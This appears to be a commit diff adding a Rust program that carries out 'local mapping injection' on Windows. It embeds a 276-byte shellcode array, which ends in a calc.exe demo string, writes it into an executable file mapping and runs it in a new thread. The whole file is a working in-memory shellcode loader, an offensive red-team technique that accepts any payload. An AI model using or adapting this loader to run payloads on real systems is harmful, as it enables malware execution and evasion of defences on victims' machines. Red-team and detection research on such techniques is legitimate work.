|
| 1 | +/* |
| 2 | + Local Mapping Injection |
| 3 | + References: |
| 4 | + https://github.com/antonioCoco/Mapping-Injection |
| 5 | + |
| 6 | + By @5mukx |
| 7 | + */ |
| 8 | + |
| 9 | +use std::ptr::null_mut; |
| 10 | + |
| 11 | +use winapi::um::{ |
| 12 | + errhandlingapi::GetLastError, |
| 13 | + handleapi::{CloseHandle, INVALID_HANDLE_VALUE}, |
| 14 | + memoryapi::MapViewOfFile, |
| 15 | + processthreadsapi::CreateThread, |
| 16 | + synchapi::WaitForSingleObject, |
| 17 | + winbase::CreateFileMappingA, |
| 18 | + winnt::PAGE_EXECUTE_READWRITE |
| 19 | +}; |
| 20 | + |
| 21 | + |
| 22 | +fn main(){ |
| 23 | + let shellcode: [u8; 276] = [ |
| 24 | + 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, |
| 25 | + 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, |
| 26 | + 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, |
| 27 | + 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, |
| 28 | + 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, |
| 29 | + 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, |
| 30 | + 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, |
| 31 | + 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, |
| 32 | + 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, |
| 33 | + 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, |
| 34 | + 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, |
| 35 | + 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, |
| 36 | + 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, |
| 37 | + 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, |
| 38 | + 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, |
| 39 | + 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, |
| 40 | + 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, |
| 41 | + 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, |
| 42 | + 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00, |
| 43 | + ]; |
| 44 | + |
| 45 | + unsafe{ |
| 46 | + println!("[+] Attempting to create Mapping File"); |
| 47 | + |
| 48 | + let hfile = CreateFileMappingA( |
| 49 | + INVALID_HANDLE_VALUE, |
| 50 | + null_mut(), |
| 51 | + PAGE_EXECUTE_READWRITE, |
| 52 | + 0, |
| 53 | + shellcode.len() as u32, |
| 54 | + null_mut(), |
| 55 | + ); |
| 56 | + |
| 57 | + if hfile.is_null(){ |
| 58 | + println!("[-] Createfilemapping failed with Error."); |
| 59 | + std::process::exit(0); |
| 60 | + } |
| 61 | + |
| 62 | + let map_addr = MapViewOfFile( |
| 63 | + hfile, |
| 64 | + 0x0002 | 0x0004 | 0x0020, // FILE_MAP_WRITE | FILE_MAP_READ |
| 65 | + 0, |
| 66 | + 0, |
| 67 | + shellcode.len(), |
| 68 | + ); |
| 69 | + |
| 70 | + if map_addr.is_null(){ |
| 71 | + println!("[-] Unable to map the file object: Error: {}", GetLastError()); |
| 72 | + CloseHandle(hfile); |
| 73 | + return; // std::process::exit(0) |
| 74 | + } |
| 75 | + |
| 76 | + std::ptr::copy( |
| 77 | + shellcode.as_ptr(), |
| 78 | + map_addr as *mut u8, |
| 79 | + shellcode.len() |
| 80 | + ); |
| 81 | + |
| 82 | + println!("[+] Mapping Success."); |
| 83 | + |
| 84 | + let thread = CreateThread( |
| 85 | + null_mut(), |
| 86 | + 0, |
| 87 | + std::mem::transmute(map_addr), |
| 88 | + null_mut(), |
| 89 | + 0, |
| 90 | + null_mut(), |
| 91 | + ); |
| 92 | + |
| 93 | + if thread.is_null(){ |
| 94 | + println!("[-] Unable to Create Thread: Error: {}", GetLastError()); |
| 95 | + CloseHandle(hfile); |
| 96 | + CloseHandle(thread); |
| 97 | + return; |
| 98 | + } |
| 99 | + |
| 100 | + println!("[+] Thread Executed Successfully."); |
| 101 | + |
| 102 | + WaitForSingleObject(thread, 0xFFFFFFFF); |
| 103 | + CloseHandle(thread); |
| 104 | + CloseHandle(hfile); |
| 105 | + } |
| 106 | +} |
| 107 | + |
0 commit comments